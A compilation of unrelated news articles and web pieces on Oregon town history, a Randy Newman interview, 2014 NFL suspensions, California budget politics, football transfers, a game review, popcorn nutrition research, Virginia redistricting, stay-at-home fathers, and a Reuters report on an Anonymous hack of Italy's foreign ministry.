Tualatin River still winds its way through the valley, past banks of trees and the Tualatin Country Club. Beyond that, it’s hard to spot much resemblance between today’s Tualatin and the tiny farm community that once small enough to fit along a quarter-mile of Boones Ferry Road (near the center of this photo). The completion of I-5 gave a new incentive to businesses to set up along the region’s busiest transportation artery. From Bridgeport Village in the upper right corner down to the high-tech office parks on Tualatin's west side, commerce has flowed through Tualatin in its own kind of current, clearing away farmland and woodland to make way for a variety of residential and commercial development, most strikingly around Tualatin Commons, which created a new lake right in the middle of the growing city.  Sherwood  Sherwood and its surrounding forests, as it looked in the 1890s. Photo courtesy of the Oregon Historical Society.  Sherwood in the 1900s, with the Portland and Willamette Valley Railway running through town. Photo courtesy of the Oregon Historical Society.  Sherwood showing its charm, sending its "Band of Merry Men" to the Washington County Parade in 1953. Photo Courtesy of the Pacific University Archives.  Today's downtown Sherwood.  Today, Sherwood is connected to the rest of the region's transit network by the 93 and 94 bus lines.  Modern-day downtown Sherwood.  Though it was first known as Smockville, even its founders James and Mary Smock didn’t much care for the name. So, in 1891 the town was renamed Sherwood, partly in reference to a certain folk-tale quality residents saw in the old woods that surrounded their small town. Originally planned a railroad town, the Portland and Willamette Valley Railway cut right through Sherwood’s old downtown. Over the years, Sherwood slowly expanded north towards Highway 99W, farms replaced by orchards (seen dotting the landscape in and around town in 1950), and eventually the orchards giving way to homes, schools and businesses. More visible now than it was in the 1950s, Cedar Creek still meanders diagonally through town – its recent transformation into the Cedar Creek Greenway giving residents a way to walk or bike between the new and the old Sherwood.
-Photo by Kevin Winter/Getty Images  Today, Randy Newman weighs in on the racial subtext of our presidential politics, and, as you might expect from the writer of “Short People,” “Political Science” and “Rednecks,” he doesn’t hold back. His new song, “I’m Dreaming,” which you can hear below—and which is available as a free download—is sung in the voice of a narrator who’s not just unreliable but … well, here’s the refrain: “I’m dreaming of a white President / Just like the ones we’ve always had.” (In case we miss the reference to Irving Berlin’s “White Christmas, Newman throws in a der Bingle-esque “buh buh buh” toward the end of the number.)  Newman’s groundbreaking albums have, at this point, been heard by far fewer people than his movie scores, which include Ragtime, Seabiscuit, and all three Toy Story films. He took time out from scoring the prequel to Monsters, Inc. to talk about his new song, his relationship to the people who inhabit his work, the handsomeness of George Romney, and the pitfalls of irony.  Advertisement  Slate: You once famously described “Political Science”—with its refrain, “Let’s drop the big one and see what happens”—as “a pinhead’s view of China,” and I guess my first reaction to the new song is that it’s good to have you back in pinhead territory again. Is it satisfying for you, too?  Randy Newman: Yeah, it feels good. But, you know, they’re not all complete pinheads. The guy in “Rednecks,” for instance, the case he makes is a just case. His language was execrable, and the ugliness of the words he chooses tends to disqualify him, but not completely. When he said that the North didn’t have any moral superiority to the South on racial issues, he was right. Of course, this guy, in “I’m Dreaming,” he has no case at all, just some vague pseudo-scientific theories that no doubt sound good to him but are nonsense.  Slate: Right. At one point the scene shifts to Africa and the singer says that the continent could never have produced any geniuses because of all the lions and tigers—an Albert Einstein or a Ronald Reagan would have been “gobbled up before their time.”  Newman: It’s the guy’s attempt to ground his theory in some gauze of intellectual wrapping.  Advertisement  Slate: You’ve said that one thing that inspired you to write this song is the thought that, “there are a lot of people who don’t want a black person in the White House and they want him out.” To put it bluntly, how do you know?  Newman: Well, I don’t know, partly because no one, and I mean no one, would admit feeling that way. Still, it’s clear that there are lots of people out there who are uncomfortable. The Civil War was a long time ago but there are aspects of it that remain unsettled, I think. Early on in Obama’s term, there was heat generated by issues that you wouldn’t think would cause such passion. Even the term “Obamacare,” the way it’s spit out, like he was some kind of witch doctor. Maybe I’m overly sensitive to the issue, but I don’t think so. There’s an edge to things that normally wouldn’t have an edge. I thought it was a little extra.  Slate: Did you have Irving Berlin and Bing Crosby in mind when you were writing the song?  Newman: Not them specifically, but maybe the America they represent. Oddly enough, I did a version of Faust years ago, and the vision of God I had in my mind was George Romney. He looks like what God would look like to me. That wide-open, beautiful face. That’s what I see when I picture him. The idea was that the devil always worked real hard and the Lord always beat him, and he just couldn’t understand it. And Romney is the guy I had in mind for that. He just looks so great.  Advertisement  Slate: This was George, not Mitt? He’s a kind of good-looking guy, as well.  Newman: Yeah, kind of. Not like his dad.  Slate: With Ry Cooder’s angry new record, Bob Dylan’s blunt comments about race in his recent Rolling Stone interview, some of Springsteen’s no-holds-barred songs, and now “I’m Dreaming,” it seems that you and a few of your colleagues are getting pretty fed up. Is this a trend?  Newman: I’m not sure about a trend, but for me it’s a reaction to the Republican Party, which seems to have drifted farther to the right than a major party has drifted in my lifetime in any direction. It seems to have become almost a radical party. The hate and… I don’t think it’ll last. That kind of thing doesn’t seem to last.  Slate: You’re releasing “I’m Dreaming” free of charge, but you’re encouraging listeners to donate to the United Negro College Fund. Why that particular cause?
-As of Wednesday afternoon, no fewer than 29 NFL players had been suspended from starting the 2014 season, a league spokesperson told Mashable.  Some will miss just that first game; others are banned for four games. A few have been restricted indefinitely. Collectively, they represent 20 of the NFL's 32 teams and could make up more than half of a squad's 53-man roster.  Some of the suspensions may strike you as overly harsh. Some may strike you as not strong enough. But either way, NFL suspensions are a hotter topic than ever before heading into the 2014 season. So, in true hashtag-2014 form, here's a definitive listicle of all 29 NFL players missing their respective teams' season openers and why.  1. Frank Alexander, Carolina  The defensive end is suspended four games for violating the league's substance-abuse policy.  2. Stedman Bailey, St. Louis  The wide receiver is serving a four-game ban after testing positive for performance-enhancing drugs.  3. Justin Blackmon, Jacksonville  The hyper-talented wide receiver was suspended indefinitely from the league last November for multiple violations of its substance-abuse policy. In July, he was arrested again.  4. Dwayne Bowe, Kansas City  The receiver is suspended one game for an arrest for marijuana possession that was somehow later "bargained down to lesser charges of defective equipment and littering," according to NFL.com.  5. Nigel Bradham, Buffalo  The linebacker is serving a one-game suspension for violating the league's substance-abuse policy, reportedly because of marijuana.  6. Brandon Browner, New England  The cornerback is serving a four-game suspension for unspecified substance-abuse infractions.  7. Josh Gordon, Cleveland  The star receiver is serving a season-long suspension for repeatedly violating the league's substance-abuse policy, most recently by testing positive for marijuana.  8. Jakar Hamilton, Dallas  The defensive back is out four games for violating the league's substance-abuse policy.  9. Eric Herman, New York Giants  The offensive lineman is serving a four-game suspension after testing positive for performance-enhancing drugs — he says because of a prescription mix-up.  10. Will Hill, Baltimore  The safety is serving a six-game ban after violating the league's substance-abuse policy multiple times.  11. Jayron Hosley, New York Giants  The cornerback is suspended four games for an unspecified violation of the league's substance-abuse policy.  12. Tanard Jackson, Washington  The safety is serving an indefinite suspension for multiple violations of the league's substance-abuse policy.  13. Lane Johnson, Philadelphia  The offensive lineman is out four games after testing positive for performance-enhancing drugs. He, too, blames a prescription mix-up.  14. Reshad Jones, Miami  The safety is out four games after testing positive for performance-enhancing drugs.  15. Dion Jordan, Miami  The defensive end is serving a four-game ban for testing positive for performance-enhancing drugs.  16. Chris Lewis-Harris, Cincinnati  The cornerback is out two games after violating the league's substance-abuse policy.  17. Robert Mathis, Indianapolis  The linebacker is serving a four-game ban after testing positive for performance-enhancing drugs. He blames a fertility medication.  18. Marlon Moore, Cleveland  The receiver is serving a one-game suspension for a substance-abuse violation.  19. Brandon Meriweather, Washington  The safety is banned two games for an illegal hit on an opposing receiver.  20. Matt Prater, Denver  The top-notch kicker is out four games of the season after violating the league's substance-abuse policy.  21. Ray Rice, Baltimore  The star running back is serving a two-game suspension for allegedly knocking out his then-fiancee in a casino elevator. The couple is now married.  22. Ace Sanders, Jacksonville  The receiver is out four games after violating the league's substance-abuse policy.  23. Orlando Scandrick, Dallas  The cornerback is suspended four games after testing positive for performance-enhancing drugs.  24. Jerome Simpson, Minnesota  The receiver is out three games for his second violation of the league's substance-abuse policy. The first time, he was caught mailing two pounds of marijuana to his home in Kentucky. This time it's for a driving-under-the-influence arrest.  25. Aldon Smith, San Francisco  The linebacker is serving a nine-game suspension for multiple violations of the league's personal-conduct and substance-abuse policies. Most notably, he allegedly made a fake bomb threat at Los Angeles International Airport in April.  26. Donald Stephenson, Kansas City  The offensive lineman is out four games after testing positive for performance-enhancing drugs.  27. Brian Tyms, New England  The wide receiver is serving a four-game ban after testing positive for performance-enhancing drugs. He blames Adderall.  28. Daryl Washington, Arizona  The linebacker is serving an indefinite suspension for repeatedly violating the league's substance-abuse policy. He has said his most recent positive test was for marijuana.  29. Wes Welker, Denver  The star receiver is serving a four-game ban after testing positive for performance-enhancing drugs, in this case amphetamines. He denies reports that the positive test is the result of taking molly — cut with amphetamines — at the Kentucky Derby, where he was spotted handing out $100 bills to random fans.  Now this photo of Welker handing out $100 bills at the Derby makes more sense http://t.co/Iy6XfAoeun pic.twitter.com/r4VNC5wGer — TDdaily (@TDdaily) September 3, 2014  BONUS: 1 NFL Owner Suspended to Start the 2014 Season  No NFL Twitter for Jim Irsay for a while. Image: Carolyn Kaster/Associated Press  Indianapolis Colts owner is serving a six-game ban after pleading guilty to driving while under the influence of oxycodone and hydrocodone. He was also fined $500,000 and can't talk about the NFL on Twitter during his suspension.
-Before we proceed to today in the continuing saga of "What in God's Name Are You Talking About, Richard Cohen?" here's a warning -- get your gag reflex ready.  In a typically rambling screed about … something, Cohen, who recently became the first man to connect the dots between Miley Cyrus' MTV Video Music Awards performance and what he likes to call "the so-called Steubenville rape" that happened one full year earlier, Cohen unleashes some choice nonsense thoughts on "Chris Christie's Tea Party Problem." In it, he ostensibly looks at the New Jersey's governor's political future and declares that "At the moment, it is Cruz, not Christie, who has seized the imagination of Iowa Republicans." He also lets loose a truly outstanding array of bizarre assessments of prominent political figures, calling Sarah Palin "the Alaska quitter who, I think, actually now lives in Arizona," Rick Santorum a man who's "neither cuddly nor moderate" and Christie "too Joisey for the tea party — too brash, as well."  Advertisement:  But the true kicker of the piece comes near the end, when he swerves away from concern trolling Chris Christie to laughably state "Today’s GOP is not racist" -- a declaration that the antics of party members would seem to contradict -- and to consider what must be "troubling" the Tea Party right now. "People with conventional views must repress a gag reflex when considering the mayor-elect of New York," he writes, "a white man married to a black woman and with two biracial children. (Should I mention that Bill de Blasio’s wife, Chirlane McCray, used to be a lesbian?) This family represents the cultural changes that have enveloped parts — but not all — of America. To cultural conservatives, this doesn’t look like their country at all."  Cohen would likely argue he's just calling it like he sees it – reporting on incredibly offensive ideologies but not engaging in them himself. And hey, you want to suggest that political extremists might have a problem with a high-profile mixed family? You might be right. Look how berserkers they went over that Cheerios commercial.  But we all know this isn't Jon Stewart on "The Daily Show," brightly announcing that "I think New York City might be ready for a charismatic biracial family with their own signature, synchronized dance moves." This is Richard Cohen -- a guy who thinks that "conventional" people would have a vomit response to a mixed marriage – and who then parenthetically throws in a little gay panic to boot. Because in his mind, being a backward moron is "conventional."  This is a man who, let us never forget, has written creepily of the "sexual meritocracy" of older men and declared Clarence Thomas "condemned of being a man." This is Richard Cohen, the writer who applauded Switzerland for its leniency toward Roman Polanski, who admitted, "There is no doubt that Polanski did what he did, which is have sex with a 13-year-old after plying her with booze" and then proceeded to dismissively refer to that girl as a "victim" in scare quotes. (Note to Cohen: Just like with the Steubenville case, this behavior is called rape.) The same man who, fascinatingly enough, has reportedly been reprimanded for "inappropriate behavior" toward a much younger colleague. This is a man who in July explained that he could "understand why [George] Zimmerman was suspicious" of Trayvon Martin, because the young man was "wearing a uniform we all recognize" and who lamented, "Where is the politician who will own up to the painful complexity of the problem and acknowledge the widespread fear of crime committed by young black males?" A man who thinks maybe there's something to this whole torture thing. One who hasn't quite worked it out about homosexuals either, who's decided that prejudice is bad but thinks "Gays don't get some sort of pass just because they're gay."  You can almost understand how a guy like Cohen, who was spent his entire career amply demonstrating that he has a boatload of issues around women, sex and race, really hit the jackpot with Chirlane McCray. My God, look at her, all seemingly normal and living under the same room as a white man. Did I mention she used to be lesbian? Because she totally was. Surely, Cohen wants the world to understand, some people might have a problem with this. Not him, no, he's just observing. Maybe asking for a friend.  It's almost sad – almost – to watch a bigot try to cloak himself in the guise of concerned citizen. But rest assured, nobody with a track record like Cohen's can use the phrase "gag reflex" without bringing plenty of his own bile to the party. And his transparently ugly shtick is fooling no one.
-Gov. Jerry Brown has vetoed the budget package passed Wednesday by Democratic legislators, sources say, which creates a potential rift within his own party.  The sources said an announcement was expected soon.  [Updated at 10:42 a.m., June 16: Brown announced the veto in a press release Thursday. "Unfortunately, the budget I have received is not a balanced solution," his statement said. "It continues big deficits for years to come and adds billions of dollars of new debt. It also contains legally questionable maneuvers, costly borrowing and unrealistic savings. Finally, it is not financeable and therefore will not allow us to meet our obligations as they occur."  Read the governor's official veto message here. He also released a Youtube video, below, explaining the decision.]  The plan contains higher taxes, billions of dollars in delayed payments to schools, and various accounting maneuvers to balance the books. Brown had previously warned that he would not sign a budget containing such accounting gimmicks.  Democratic leaders in the Assembly and Senate said the plan they passed Wednesday was crafted without input from the administration.  It is unclear whether state lawmakers will receive their paychecks in the wake of the veto. Under a law passed by voters last year, legislators lose pay if they fail to send the governor a budget by June 15. Lawmakers said Wednesday they believe the budget they passed meets that test, but Controller John Chiang, California's chief financial officer, will decide whether to issue their paychecks.  Brown's veto is the latest twist in a budget process that has been just as divisive and partisan as it was under his predecessor, Arnold Schwarzenegger.  Senate Republicans had been negotiating with Brown on his preferred plan, which would include a fall election on higher taxes. They want pension changes and a limit on future state spending in return for their support, and Brown has said he is willing to go along. But the Republicans say they have not met with the governor for more than a week.  Brown is scheduled to hold a news conference around noon at his office in Los Angeles.  RELATED:  California Democrats pass budget with taxes, cuts and tricks  Skirmish breaks out on Assembly floor during budget debate  Editorial: California Gov. Jerry Brown should hold out for a budget deal  -- Anthony York  Photo: Brown at a Capitol news conference in Sacramento Monday. Credit: Rich Pedroncelli / Associated Press
-Former Chelsea and West Ham midfielder Joe Cole has completed a permanent move to League One side Coventry City, signing a short-term deal until the end of the season.  The 34-year-old, who has been capped 56 times by England, headed to the Ricoh Arena on loan in October after failing to hold down a first-team place at Aston Villa.  Since his initial move, Cole has played seven times for the promotion hopefuls, scoring once, and Mowbray was delighted to get a permanent deal over the line.  Former West Ham and Chelsea midfielder Joe Cole has completed a permanent move to Coventry City  Cole has been capped 56 times by England, last appearing for his country against Germany in June 2010  JOE COLE'S CAREER 1998-2003: West Ham - 150 apps, 13 goals 2003-2010: Chelsea - 282 apps, 39 goals 2010-2013: Liverpool - 42 apps, five goals (2011-2012: Lille, loan - 38 apps, four goals) 2013-2014: West Ham - 37 apps, five goals 2014-2016: Aston Villa - 16 apps, one goal 2016-: Coventry City - seven apps, one goal 2001-2010: England - 56 apps, 10 goals  Speaking to the club's official website, he said: 'Since he joined the club, I've really enjoyed working with Joe and am delighted to see him sign on for the rest of the season.  'Our staff have worked hard with him to build up his fitness and physicality, and we've seen Joe really buy into what we're trying to do here.  'He's great to have around the dressing room and the rest of the squad feed off his experience, and I'm sure it'll have a positive impact on our younger players as well.'  Cole won the Premier League and FA Cup three times with Chelsea during his time at Stamford Bridge, and also spent a season on loan at Lille in France.  Coventry manager Tony Mowbray said he was delighted to see Cole sign on for the rest of the season  Cole has played seven times for Coventry since arriving in October, scoring once in the process (above)  Former Crystal Palace and Newcastle centre back Peter Ramage (right) has also signed for Coventry  He played 16 times for Villa after a switch from West Ham in 2014 following his second spell at Upton Park but had only made once appearance for them this season.  Cole becomes the second former Premier League player to sign for Coventry on Thursday, joining ex-Crystal Palace and Newcastle man Peter Ramage at the Ricoh Arena.  Ramage left Selhurst Park last summer following two loan spells at Barnsley, and spent the winter plying his trade for Kerala Blasters in India.
-Any restaurants, snack shops and retail stores wishing to open at the Austin-Bergstrom International Airport will be required to include labor peace agreements as part of their proposals, after a resolution the Austin City Council approved Thursday.  The move comes ahead of expected concessionaire solicitations for a nine-gate terminal expansion that is expected to open in 2019. It will not affect current businesses in the airport, which just entered new contracts, until those contracts expire in about 10 years.  The city requirements hold that the company have an agreement with any union that might represent employees to, at minimum, prohibit boycotts and service disruptions. Such guarantees are typically negotiated in exchange for agreements about wages, work hours and other working conditions.  Dozens of unionized airport concession employees turned out to the City Council meeting in matching T-shirts to show support for the item. Requiring labor agreements to be in place would protect the concessionaires from strikes in case of bargaining disagreements, said Willy Gonzalez, chapter president of Unite Here’s Local 23.  Gonzalez estimated more than 80 percent of airport concession employees are members of the union. Most of those work for businesses operated by Delaware North, which operates about two-thirds of the airport concessions.  Council Member Delia Garza, the resolution’s sponsor, teared up as she spoke of her support for union employees.  “This is truly an economic agreement here,” she told the union members. “This action will allow you to sit at the table, to have the conversations you have to have to get your pay and provide for your families.”  var pymParent = new pym.Parent('pym-div', 'http://apps.statesman.com/votetracker/meetings/2017-04-06-austin-city-council/vote/54/index.html', {});]]
-Signup to receive a daily roundup of the top LGBT+ news stories from around the world  Former Heroes exec Bryan Fuller has revealed that the show was forced to ditch a gay storyline because of a behind-the-scenes battle.  The cult superhero TV series ran for four seasons between 2006 and 2010, launching the career of Zachary Quinto as well as a host of other stars.  Bryan Fuller, who served as an executive producer on the show, revealed at Outfest this week that he planned a gay storyline for Heroes.  The out exec, who is best known for his work on Star Trek, revealed the storyline was forcibly axed after a dispute.  He said: “The gay character was het-washed after the actor’s management threatened to pull him from the show if [the character] were gay.”  While Fuller did not name the specific actor, his comments line up with a controversy from the show’s original run in 2006.  At the time, the show had repeatedly hinted that Zach (Thomas Dekker), a childhood friend of show lead Claire Bennet (Hayden Panettiere), was gay.  However, the plotline ended abruptly as Zach was clarified to be straight, before being swiftly written out of the show.  At the time, Heroes creator Tim Kring hinted at controversy, telling gay blog AfterElton: “It was certainly not our intention to confuse the issue of Zach’s character being gay. We have too much respect for our audience to do that intentionally.  “However, it has simply become too complicated behind the scenes to push this issue further with this particular character.  “We wish that we could have handled things better on our end. But making a TV show is often a very imprecise business.”  Dekker had a very different account of events, however.  In a 2007 blog post, he claimed: “I, nor my management have ever had any kind of problem with creating a gay character. To me acting is about being prepared to play all kinds of roles and it is an honor and a challenge to portray ANYTHING that comes my way.  “What transpired on Heroes is something far more complicated than anyone being “afraid” to make Zach homosexual.”  He continued: “The character that I created in the beginning of the show, a process I take very seriously, was based on Zach being an outcast who had a burning love for Claire, a crush that drew him to her and effected every ounce of his self esteem around her.  “I created the character that way because it was WRITTEN IN THE ORIGINAL SCRIPT that he was in love with Claire.  “I was not informed in the beginning of the series, of any planned character arc, because I was told there wasn’t one.  “What ensued later was a combination of miscommunication, confusion, surprise and last minute desicions, not a knee jerk reaction from me or my team.”  The actor insisted that “me leaving Heroes has NOTHING to do with this gay controversy”, and that he had been cast in the Sarah Connor Chronicles.  The show did later feature a lesbian storyline, with Claire experimenting with her sexuality.  Hayden Panettiere said that she had asked for the storyline to be included.  Related: Star Trek TV series casts major gay character
-8.2 our score  Torchlight is one of those games which came out of nowhere and turned out to be very enjoyable. I didn’t really expect all that much from it, but since I got it in a sale I was willing to take a risk. Since then I’ve recommended the game to quite a few friends, despite some of it’s obvious flaws. So what makes this fast-paced hack and slash dungeon crawler so enjoyable?  Your first order of business is to select one of the three classes available. The Destroyer is pretty much a melee warrior with some pretty nifty abilities. When playing this your play style involves steamrolling through large crowds of monsters. The second class is the Vanquisher, which can be roughly seen as a hunter/rogue hybrid. Your play style involves ranged weapons and setting traps. Third is the Alchemist class, which is your standard RPG mage.  This class selection appears very simply at first glance, but there are many skills to choose from and you can thus experiment with different builds. Each build can provide you with a completely different experience in terms of combat style, and on top of this you get a sidekick pet right from the start. Purists will be pleased that you can name your pet as well – and is not just for show. You will find that your pet is incredibly useful throughout the game.  Once you’ve selected your character, you will arrive in the mining town of Torchlight. First thing you will notice is the art style, which is very cartoonish but does the job extremely well. The huge advantage of this graphics style is that Torchlight runs on about any computer out today, and even comes with a netbook mode. In town, you have various npc’s and vendors at your disposal, whom provide the usual quests and ability to sell your loot.  Within a matter of minutes you will find yourself entering the dungeons for the first time, which is where Torchlight really shines. Dungeons are randomly generated from tile-sets, and the designers have provided a fairly nice amount of sets to play with. During the course of your quests you will delve deeper and deeper, and the scenery around you will change accordingly. Controls and combat will feel second nature after just a few moments of playing, being simple yet enjoyable.  Throughout your exploits you will find absolutely tons and tons of loot, following the usual well-known colour scheme to determine rarity. You will soon find yourself smile every time you find a unique or set-item. In particularly the latter are extremely rare and useful. In town you have the ability to share loot between your characters by means of a shared stash, so keeping the set-items is highly recommended. Your character has a nice amount of slots to equip equipment and weapons and your pet can equip a necklace and two rings as well.  This is where your pet comes in handy. It’s not just following you around, but actively engages in combat. You can buff your pet through various skills when you level, and you can feed it fish to trans-morph it into a great number of different monsters. You can even teach your pet 2 spells by dragging scrolls onto it – which the pet will then cast whenever it has mana. Personally, I like giving my pet crowd control and heal all spells – creating my own personal healer. Another favorite is to give the pet scrolls of summoning, thereby giving it a personal army. It’s a really nice touch that further increases the enjoyment you will get from the game.  You can further enhance your characters equipment through socket-able gems and enchants. An item can be enchanted up to 10 times, which significantly improves it’s capabilities, but there’s a catch. Each time you enchant an item there is a chance that all effects are wiped, so you take a bit of a gamble. Gems can be found or purchased, and transmuted using an NPC in town into higher level gems. These give various additional bonuses to your items, and it’s well worth working towards those high level gems.  One of the more frustrating elements of dungeon crawlers is that your backpack tends to overflow and you’re left with continues inventory management work. Torchlight has you covered there through the means of town portal scrolls, which open a 2-way portal to town. This allows you to open a portal to town, jump through it to sell your loot/hand quests in and then jump back through. Another, even more lovely touch is the ability to give your pet various bits and bobs of unwanted items and then send it to town by itself. The pet will travel to town, sell your items, and return back to you a few minutes later. Very creative from the designers, more games should think of little touches like that.  There’s also a great degree of re-playability, by the inclusion of a ‘hardcore’ mode which can be activated for any difficulty level. In this mode your death is permanent, making the game a challenge to play through. Once you finish the main quest, you get access to another dungeon which goes very, very deep indeed (infinite, though eventually the monsters will be too strong for your equipment as the equipment no longer gets better after a certain point). Combine this with a maximum character level of 100 and the ability to retire (after finishing the main quest) and heirloom items to the next generation, and you’ve got quite a few possibilities. Next generations get an additional skill point right from the start, so you can work towards getting deeper into the infinite dungeon each generation if you would desire so.  The designers have provided a fully featured editor with the game, and made it highly moddable, so there’s quite a modding community already at work. This was a smart move for a game like Torchlight, as it greatly enhances the experience many players will get. There are various mods which remove some of the more frustrating elements (like fishing… ) or add new aspects to the game. It’s well worth looking at once you’ve finished the game at least once and experienced it in it’s true form.  So does Torchlight actually do anything new that other games haven’t done already? Not really – besides from some clever little design elements like the pets, Torchlight is just another hack and slash dungeon crawler. It’s an incredibly simple game, with a relatively short main story as well. Surprisingly though, it’s also an incredible lot of FUN. This is the main ingredient often missing in games like this, and since Torchlight runs on practically any machine and is relatively inexpensive (can be purchased for under £10 on Amazon), I would highly recommend you give it a go.
-Popcorn's reputation as a snack food that's actually good for health popped up a few notches as scientists recently reported that it contains more of the healthful antioxidant substances called "polyphenols" than fruits and vegetables.  They spoke at the 243rd National Meeting & Exposition of the American Chemical Society (ACS), in San Diego on March 25.  Joe Vinson, Ph.D., a pioneer in analyzing healthful components in chocolate, nuts and other common foods, explained that the polyphenols are more concentrated in popcorn, which averages only about 4 percent water, while polyphenols are diluted in the 90 percent water that makes up many fruits and vegetables.  In another surprising finding, the researchers discovered that the hulls of the popcorn -- the part that everyone hates for its tendency to get caught in the teeth -- actually has the highest concentration of polyphenols and fiber.  "Those hulls deserve more respect," said Vinson, who is with the University of Scranton in Pennsylvania. "They are nutritional gold nuggets."  The overall findings led Vinson to declare, "Popcorn may be the perfect snack food. It's the only snack that is 100 percent unprocessed whole grain. All other grains are processed and diluted with other ingredients, and although cereals are called "whole grain," this simply means that over 51 percent of the weight of the product is whole grain. One serving of popcorn will provide more than 70 percent of the daily intake of whole grain. The average person only gets about half a serving of whole grains a day, and popcorn could fill that gap in a very pleasant way."  Vinson cautioned, however, that the way people prepare and serve popcorn can quickly put a dent in its healthful image. Cook it in a potful of oil, slather on butter or the fake butter used in many movie theaters, pour on the salt; eat it as "kettle corn" cooked in oil and sugar -- and popcorn can become a nutritional nightmare loaded with fat and calories.  "Air-popped popcorn has the lowest number of calories, of course," Vinson said. "Microwave popcorn has twice as many calories as air-popped, and if you pop your own with oil, this has twice as many calories as air-popped popcorn. About 43 percent of microwave popcorn is fat, compared to 28 percent if you pop the corn in oil yourself."  Likewise, Vinson pointed out that popcorn cannot replace fresh fruits and vegetables in a healthy diet. Fruits and vegetables contain vitamins and other nutrients that are critical for good health, but are missing from popcorn.  Vinson explained that the same concentration principle applies to dried fruit versus regular fruit, giving dried fruit a polyphenol edge. Previous studies found low concentrations of free polyphenols in popcorn, but Vinson's team did the first study to calculate total polyphenols in popcorn. The amounts of these antioxidants were much higher than previously believed, he said. The levels of polyphenols rivaled those in nuts and were up to 15 times greater than whole-grain tortilla chips.  The new study found that the amount of polyphenols found in popcorn was up to 300 mg a serving compared to 114 mg for a serving of sweet corn and 160 mg for all fruits per serving. In addition, one serving of popcorn would provide 13 percent of an average intake of polyphenols a day per person in the U.S. Fruits provide 255 mg per day of polyphenols and vegetables provide 218 mg per day to the average U.S. diet.  Michael G. Coco, an undergraduate chemistry student at the University of Scranton who participated in the study, said he benefited in several ways.  "From working on this project with Dr. Vinson, I've gained experience and many insights in doing scientific research," said Coco. "Besides the obvious things like learning how to use instrumentation and perform analyses, I've also learned that research is extremely satisfying, especially when you discover or think of something no one else has thought of."  The scientists acknowledged funding from the University of Scranton.
-A federal panel has scrambled congressional district lines in ways that would have big impacts for Richmond-area voters.  The panel was assembled to redraw lines in the 3rd District after a court ruling last year that the district was gerrymandered to pack in black voters in ways that give white candidates advantages in adjacent districts. The district is held by a Democrat, U.S. Rep. Robert C. Scott.  The blog Bearing Drift offers this map of the changes, if the new plan survives court challenges. The Washington Post digs into the issue.  Here are some winners and losers with the plan:  1. Loser: U.S. Rep. J. Randy Forbes, a Republican who represents the 4th District. Under the new plans, Richmond will move into the 4th District. This means that Forbes, who is white, must attract more black voters who tend to vote Democratic.  2. Loser: U.S. Rep Dave Brat, a Republican. The 7th District congressman was elected in a stunning primary upset with tea party help against Eric Cantor in June 2014. But the redistricting takes away from him Ashland and Hanover County, his strongest conservative base. This would give an advantage to Henrico County Sheriff Mike Wade, a more moderate conservative, if he challenges Brat.  3. Winners: State Sen. A. Donald McEachin and Delegate Jennifer L. McClellan, both Democrats. This could be their time to challenge Forbes, vying for Congress in the 4th District.  4. Winner: Scott. His current 3rd District would be sliced back to Hampton Roads, a safe base.  5. Winners: Democrats. At the moment, Virginia is represented in Congress by eight Republicans and three Democrats. The Democrats could gain an extra seat in the 4th District.  Editor's note: A correction was made to a previous version that said half of Richmond would move into the 4th District.
-While some fathers find themselves trying to create work schedules with additional flexibility, more fathers are assuming the role of primary caregiver. The number of stay-at-home dads has risen from 1.1 million in 1989 to 2.0 million in 2012, according to Pew. Why? For some fathers, they found themselves in the role due to circumstance: Temporary unemployment or disability can make dads the most logical option for childcare. But some fathers are home by choice, and because of a shift in labor dynamics as women reach higher educational and career attainment.  For Chris Tecala of Centerville, Virginia, who worked full-time in the audio visual field for a hospitality company, the question of who should stay home with the kids was an easy one to answer. “My salary equaled the cost of the yearly daycare of two, non potty-trained infants, which was about $40,000 a year,” he said. “I would be working just for someone else to watch my kids and it just didn't make sense.”  According to Pew, 24 percent of married women earn more than their husbands. The study also found that for married couples with children, women were the primary breadwinners in 37 percent of households. As women earn more and seek higher positions in more competitive fields, the decision of who should leave work to care for a sick child, or stay home altogether, has become less clear.  Now Tecala, who stays home during the week to watch his twin two-year-old boys, strikes a balance by working part-time for the same company during the weekends. Even once his boys are old enough to attend school, Tecala says he plans on continuing with a part-time schedule so he can “be there for them every step of the way.”  The decision to remain active in the professional world, albeit in a scaled-back fashion, is fairly common, says Will Culp of the National At Home Dad Network, especially for those who plan to reenter the workforce after the kids get older.  Dan Baldwin, a stay-at-home dad from Baltimore says that his family’s decision to rely on him as the primary caregiver was driven partially by finances, but also because of the lack of schedule flexibility at his former job. Baldwin used about seven weeks of paid leave thanks to the Family and Medical Leave Act, but afterward, when he tried to discuss creating a more family-friendly schedule for his urban planning job, he said his employer offered up the equivalent of two days off per month. For his family, it simply wasn’t enough, he said.  So Baldwin stays home to care for his son, David. He says he plans on returning to the working world, once any children he and his wife may have are old enough to attend school, but even then, there will still be a focus on flexibility so he can do things like attend field trips and soccer matches. “I think that going into a new job, that would be one of the things I would look for—that would weigh heavily on my decision about where to end up,” he said.
-ROME (Reuters) - Italy’s foreign ministry said on Tuesday it was investigating a hacking attempt, after a group calling itself Anonymous published what it said was stolen ministry data.  FILE PHOTO: A man types on a computer keyboard in front of the displayed cyber code in this illustration picture taken March 1, 2017. REUTERS/Kacper Pempel/Illustration/File Photo  A site called cyberguerrilla.org carried a blog post titled “Foreign Affairs Ministry You Have Been Hacked” addressed to Foreign Minister Angelino Alfano and the head of the national magistrates association.  “Regarding the attempted hack of the ministry’s website, a legal complaint has been lodged and investigations are now underway,” the ministry said in a statement.  “We hope the public prosecutor’s office will shed light as soon as possible on what happened, and, to this end, the ministry’s technicians are working to give all possible support.”  The ministry did not name suspected perpetrators or give details about the hacking attempt, and it was not immediately clear if any sensitive information had been leaked.  “Do keep having fun at your summits, in your commissions ... G7, G8, Intelligence, surveillance, terrorism,” read the blog post, dated June 19 and signed “We are Anonymous”, and “We are AntiSec Italy” in an apparent reference to an Anonymous-affiliated group.  “We already knew that we Italians were paying,” the post continued. “In the meantime please enjoy the uncensored publication of some data stolen from your precious information systems.”  Uploaded to the website were tables entitled “staff accommodation”, “travel/expenses”, including lists of names and amounts of money in euros.  There were also links to Excel files, some containing hundreds of email addresses, and others named “security conditions” and “sanitary conditions”.  The foreign ministry said earlier this year it was stepping up cyber security after hackers attacked its system over a four-month period in 2016.  Tuesday’s statement said “every ministry invoice is duly examined by the state accounting office and complies with the legitimate operating needs of the administration”.  Anonymous is an international group of hackers and activists who have orchestrated hacks on U.S. institutions and gained notoriety in the virtual world by participating in protests wearing masks representing 16th-century plotter Guy Fawkes.
